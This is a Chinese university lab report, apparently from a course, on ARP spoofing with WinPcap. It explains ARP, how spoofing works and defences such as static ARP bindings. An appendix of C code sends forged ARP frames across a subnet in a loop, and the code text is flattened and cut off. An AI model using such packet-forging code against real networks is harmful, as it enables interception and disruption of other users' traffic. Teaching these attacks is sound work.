Windows网络编程实验六基于WinPcap的ARP欺骗实验.docx
《Windows网络编程实验六基于WinPcap的ARP欺骗实验.docx》由会员分享,可在线阅读,更多相关《Windows网络编程实验六基于WinPcap的ARP欺骗实验.docx(12页珍藏版)》请在冰豆网上搜索。
Windows网络编程实验六基于WinPcap的ARP欺骗实验
网络程序设计
实验报告
实验名称:
基于WinPcap的ARP欺骗实验_
实验类型:
_______设计型实验______
指导教师:
_______
专业班级:
____________________
姓名:
___________________
学号:
____________________
电子邮件:
____________
实验地点:
___________________
实验日期:
年 月日
实验成绩:
__________________________
一、实验目的
掌握WinPcaP的安装和配置;
掌握ARP协议工作原理和格式;
掌握WinPcap发包程序的编写;
掌握防范ARP地址欺骗的方法和措施;
了解常用抓包软件,Wireshark、Sniffer Pro等网络包分析软件的使用
二、实验设计
1.背景知识
ARP原理
ARP协议:
ARP,全称Address Resolution Protocol,中文名为地址解析协议,它工作在数据链路层,在本层和硬件接口联系,同时对上层提供服务。
IP数据包常通过以太网发送,以太网设备并不识别32位IP地址,它们是以48位以太网地址传输以太网数据包。
因此,必须把IP目的地址转换成以太网目的地址。
这个过程称为地址解析,用于将IP地址解析成硬件地址的协议就被称为地址解析协议(ARP协议)。
即ARP协议用于将网络中的IP地址解析为的硬件地址(MAC地址),以保证通信的顺利进行,这个过程是动态、自动完成且对用户是透明的。
(1).ARP报头结构
ARP报头结构,如上图所示。
硬件类型字段:
指明了发送方想知道的硬件接口类型,以太网的值为1; 协议类型字段:
指明了发送方提供的高层协议类型,IP为0800(16进制); 硬件地址长度和协议长度:
指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;
操作字段:
用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;
发送方的硬件地址(0-3字节):
源主机硬件地址的前3个字节;
发送方的硬件地址(4-5字节):
源主机硬件地址的后3个字节;发送方IP(0-1字节):
源主机硬件地址的前2个字节;发送方IP(2-3字节):
源主机硬件地址的后2个字节;目的硬件地址(0-1字节):
目的主机硬件地址的前2个字节;目的硬件地址(2-5字节):
目的主机硬件地址的后4个字节;目的IP(0-3字节):
目的主机的IP地址。
(2).ARP工作原理ARP的工作原理如下:
①.首先,每台主机都会在自己的ARP缓冲区(ARPCache)中建立一个ARP列表,以表示IP地址和MAC地址的对应关系。
②当源主机需要将一个数据包要发送到目的主机时,会首先检查自己ARP列表中是否存在该IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。
此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。
③网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。
如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个ARP响应数据包,告诉对方自己是它需要查找的MAC地址;
④源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。
如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
(3).ARP地址欺骗的原理ARP欺骗分两种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是-截获网关数据。
它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断的更新学习进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送错误的MAC地址,造成正常的PC无法收到信息。
第二种ARP欺骗原理是-通过交换机的MAC地址学习机制,伪造网关。
它的原理是建立假的网关,让被它欺骗的PC向假网关发送数据,而不是通过正常的路由器或交换途径寻找网关,造成在同一网关的所有PC无法访问网络。
2.实验内容
1、下载并安装最新的WinPcap安装程序,在开发环境中进行正确配置。
2、根据ARP欺骗原理,设计网管欺骗程序的编写流程,编写代码实现对内网PC的进行欺骗。
3、(选做)实现ARP双向欺骗。
3.实验步骤
(1) 安装配置构造网络数据包环境
WinPcap的安装
Winpcap为win32应用成程序提供访问网络底层的能力,在使用基于winpcap的抓包工具是需要先安装Winpcap(wireshark会自带安装最新版本),下载
winpcap_4_0_2.exe安装,另外,若需要设计相应的开发,可以下载相应的wpdpcak开发包文件。
并在VC++中添加好相应INCLUDE和LIB。
具体步骤是:
选择工具——>选项——>目录下的INCLUDE FILES和LIBRARY FILES中添加:
安装Libnet
首先将下载的Libnet开发包解压缩,生成一个文件夹Libnet_1.1.2.1 ,把所有文件拷到一个盘符下,在LIBNET下的文件夹win32,双击文件libnet.dsw导入到visual C++ 工作空间。
此时可以对Libnet进行编译,但在libnet 用到wincrypt API函数,所以必须加上库中文件advapi32.lib。
具体步骤是:
选择:
工程——>设置——>连接:
在对象/苦模块中加入(wsock32.lib是windows中需要掉要其他网络函数所必须加入的)
安装PSDK
在官网上下载PSDK相关的文件,应该有十七个,其中包括16个PSDK-FULL.CAB文件和一个EXE文件,在执行EXE后会生成一个PSDK-FULL.BAT和一个EXTRACT.EXE文件,此时需要到命令行中执行PSDK-FULL.BAT,便可以一次性将16个CAB解压(如果是自己手动解压,注意要将所有的解压文件放入同一个文件夹下,同时要注意解压的层次。
否则会报错)
(2) 构造ARP应答欺骗包源程序
三、实验过程(包含实验结果)
1.安装配置构造网络数据包环境 。
2. 构造ARP应答欺骗包源程序
3..调制好程序实现ARP欺骗。
四、讨论与分析
如何防止ARP欺骗?
清空ARP缓存:
大家可能都曾经有过使用ARP的指令法解决过ARP欺骗问题,该方法是针对ARP欺骗原理进行解决的。
一般来说ARP欺骗都是通过发送虚假的MAC地址与IP地址的对应ARP数据包来迷惑网络设备,用虚假的或错误的MAC地址与IP地址对应关系取代正确的对应关系。
若是一些初级的ARP欺骗,可以通过ARP的指令来清空本机的ARP缓存对应关系,让网络设备从网络中重新获得正确的对应关系,具体解决过程如下:
第一步:
通过点击桌面上任务栏的“开始”->“运行”,然后输入cmd后回车,进入cmd(黑色背景)命令行模式;第二步:
在命令行模式下输入arp-a命令来查看当前本机储存在本地系统ARP缓存中IP和MAC对应关系的信息;第三步:
使用arp-d命令,将储存在本机系统中的ARP缓存信息清空,这样错误的ARP缓存信息就被删除了,本机将重新从网络中获得正确的ARP信息,达到局域网机器间互访和正常上网的目的。
如果是遇到使用ARP欺骗工具来进行攻击的情况,使用上述的方法完全可以解决。
但如果是感染ARP欺骗病毒,病毒每隔一段时间自动发送ARP欺骗数据包,这时使用清空ARP缓存的方法将无能为力了。
下面将接收另外一种,可以解决感染ARP欺骗病毒的方法。
2、指定ARP对应关系:
其实该方法就是强制指定ARP对应关系。
由于绝大部分ARP欺骗病毒都是针对网关MAC地址进行攻击的,使本机上ARP缓存中存储的网关设备的信息出现紊乱,这样当机器要上网发送数据包给网关时就会因为地址错误而失败,造成计算机无法上网。
第一步:
我们假设网关地址的MAC信息为00-14-78-a7-77-5c,对应的IP地址为192.168.2.1。
指定ARP对应关系就是指这些地址。
在感染了病毒的机器上,点击桌面->任务栏的“开始”->“运行”,输入cmd后回车,进入cmd命令行模式;第二步:
使用arp-s命令来添加一条ARP地址对应关系,例如arp-s192.168.2.100-14-78-a7-77-5c命令。
这样就将网关地址的IP与正确的MAC地址绑定好了,本机网络连接将恢复正常了;第三步:
因为每次重新启动计算机的时候,ARP缓存信息都会被全部清除。
所以我们应该把这个ARP静态地址添加指令写到一个批处理文件(例如:
bat)中,然后将这个文件放到系统的启动项中。
当程序随系统的启动而加载的话,就可以免除因为ARP静态映射信息丢失的困扰了。
五、实验者自评(从实验设计、实验过程、对实验知识点的理解上给出客观公正的自我评价)
通过这次实验,我了解了ARP欺骗的原理,掌握了ARP的安装以及环境配置。
学会了通过调用不同的动态链接和函数实现伪造不同的协议包,达到网络入侵的目的,同时在网络安全方面也有了更多的认识,懂得如何使用静态MAC映射,软件防御相应的ARP攻击。
同时。
通过自己的设想变成实现了对APR映射表的保护。
六、附录:
关键代码(给出适当注释,可读性高)
#define_W64
#defineHAVE_REMOTE
#include"pcap.h"
#defineETHERTYPE_IP0x0800
#defineETHERTYPE_ARP0x0806
typedefstruct_ETHeader//14字节的以太头
{
UCHARdhost[6];//目的MAC地址destinationmacaddress
UCHARshost[6];//源MAC地址sourcemacaddress
USHORTtype;//下层协议类型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等
}ETHeader,*PETHeader;
#defineARPHRD_ETHER1
//ARP协议opcodes
#defineARPOP_REQUEST1//ARP请求
#defineARPOP_REPLY2//ARP响应
typedefstruct_ARPHeader//28字节的ARP头
{
USHORThrd;//硬件地址空间,以太网中为ARPHRD_ETHER
USHORTeth_type;//以太网类型,ETHERTYPE_IP?
?
UCHARmaclen;//MAC地址的长度,为6
UCHARiplen;//IP地址的长度,为4
USHORTopcode;//操作代码,ARPOP_REQUEST为请求,ARPOP_REPLY为响应
UCHARsmac[6];//源MAC地址
UCHARsaddr[4];//源IP地址
UCHARdmac[6];//目的MAC地址
UCHARdaddr[4];//目的IP地址
}ARPHeader,*PARPHeader;
/*4bytesIPaddress*/
typedefstructip_address{
u_charbyte1;
u_charbyte2;
u_charbyte3;
u_charbyte4;
}ip_address;
/*IPv4header*/
typedefstructip_header{
u_charver_ihl;//Version(4bits)+Internetheaderlength(4bits)
u_chartos;//Typeofservice
u_shorttlen;//Totallength
u_shortidentification;//Identification
u_shortflags_fo;//Flags(3bits)+Fragmentoffset(13bits)
u_charttl;//Timetolive
u_charproto;//Protocol
u_shortcrc;//Headerchecksum
ip_addresssaddr;//Sourceaddress
ip_addressdaddr;//Destinationaddress
u_intop_pad;//Option+Padding
}ip_header;
/*UDPheader*/
typedefstructudp_header{
u_shortsport;//Sourceport
u_shortdport;//Destinationport
u_shortlen;//Datagramlength
u_shortcrc;//Checksum
}udp_header;
/*prototypeofthepackethandler*/
voidpacket_handler(u_char*param,conststructpcap_pkthdr*header,constu_char*pkt_data);//回调函数
intmain()
{
pcap_if_t*alldevs;//获取到的设备列表
pcap_if_t*d;//指向的一个网络设备
intinum;//保存用户选择的用于捕获数据的网络适配器编号
inti=0;
pcap_t*adhandle;//用于捕获数据的Winpcap会话句柄
charerrbuf[PCAP_ERRBUF_SIZE];//错误缓冲区
u_intnetmask;
charpacket_filter[]="arp";
structbpf_programfcode;//bpf过滤代码结构
//Retrievethedevicelist获得设备列表
if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1)//pcap_findalldevs_ex获得本地计算机上所有的网络设备列表设备列表
{
fprintf(stderr,"Errorinpcap_findalldevs:
%s\n",errbuf);//fprintf()打印每个网络设备的信息
exit
(1);
}
/*Printthelist*/
for(d=alldevs;d;d=d->next)
{
printf("%d.%s",++i,d->name);
if(d->description)
printf("(%s)\n",d->description);
else
printf("(Nodescriptionavailable)\n");
}
if(i==0)
{
printf("\nNointerfacesfound!
MakesureWinPcapisinstalled.\n");
return-1;
}
printf("Entertheinterfacenumber(1-%d):
",i);
scanf("%d",&inum);
if(inum<1||inum>i)
{
printf("\nInterfacenumberoutofrange.\n");
/*Freethedevicelist*/
pcap_freealldevs(alldevs);//释放网络设备链表
return-1;
}
//跳转到已选设备
for(d=alldevs,i=0;inext,i++);
/*打开适配器*/
if((adhandle=pcap_open(d->name,//nameofthedevice设备名
65536,//portionofthepackettocapture.要捕获的数据包的部分
//65536grantsthatthewholepacketwillbecapturedonalltheMACs.65536保证能捕获到不同数据链路层上的每个数据包上的全部内容
PCAP_OPENFLAG_PROMISCUOUS,//promiscuousmode混杂模式
1000,//readtimeout读取超时时间
NULL,//remoteauthentication远程机器验证
errbuf//errorbuffer
))==NULL)
{
fprintf(stderr,"\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n");
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}
/*Checkthelinklayer.WesupportonlyEthernetforsimplicity.*/
if(pcap_datalink(adhandle)!
=DLT_EN10MB)//pcap_datalink检查数据链路层
{
fprintf(stderr,"\nThisprogramworksonlyonEthernetnetworks.\n");
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}
if(d->addresses!
=NULL)
/*Retrievethemaskofthefirstaddressoftheinterface*/
netmask=((structsockaddr_in*)(d->addresses->netmask))->sin_addr.S_un.S_addr;
else
/*IftheinterfaceiswithoutaddresseswesupposetobeinaCclassnetwork*/
netmask=0xffffff;
//compilethefilter
if(pcap_compile(adhandle,&fcode,packet_filter,1,netmask)<0)
{
fprintf(stderr,"\nUnabletocompilethepacketfilter.Checkthesyntax.\n");
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}
//setthefilter
if(pcap_setfilter(adhandle,&fcode)<0)
{
fprintf(stderr,"\nErrorsettingthefilter.\n");
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}
printf("\nlisteningon%s...\n",d->description);
//发送arp包
u_charucFrame[100];
//设置Ethernet头
u_chararDestMac[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_chararSourceMac[6]={0x00,0x1F,0x16,0x26,0x33,0xF8};
ETHeadereh={0};
memcpy(eh.dhost,arDestMac,6);//memcpy内存拷贝函数,从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中
memcpy(eh.shost,arSourceMac,6);
eh.type=:
:
htons(ETHERTYPE_ARP);
memcpy(ucFrame,&eh,sizeof(eh));
//设置Arp头
ARPHeaderah={0};
ah.hrd=htons(ARPHRD_ETHER);
ah.eth_type=htons(ETHERTYPE_IP);
ah.maclen=6;
ah.iplen=4;
ah.opcode=htons(ARPOP_REQUEST);
ULONG32sIPAddr=inet_addr("192.168.250.188");
ULONG32dIPAddr=inet_addr("192.168.250.1");
memcpy(ah.smac,arSourceMac,6);
memcpy(ah.saddr,&sIPAddr,4);
memcpy(ah.dmac,arDestMac,6);
memcpy(ah.daddr,&dIPAddr,4);
intn=255;
while(n)
{
charstr[100];
sprintf(str,"192.168.4.%d",n);
dIPAddr=inet_addr(str);
memcpy(ah.daddr,&dIPAddr,4);
memcpy(&ucFrame[sizeof(ETHeader)],&ah,sizeof(ah));
if(pcap_sendpacket(adhandle,ucFrame,42)!
=0)
{
fprintf(stderr,"\nErrorsendingthepacket:
%s\n",pcap_geterr(adhandle));//pcap_geterr获取错误消息
return3;
}
n=n-1;
}
/*Atthispoint,wedon'tneedanymor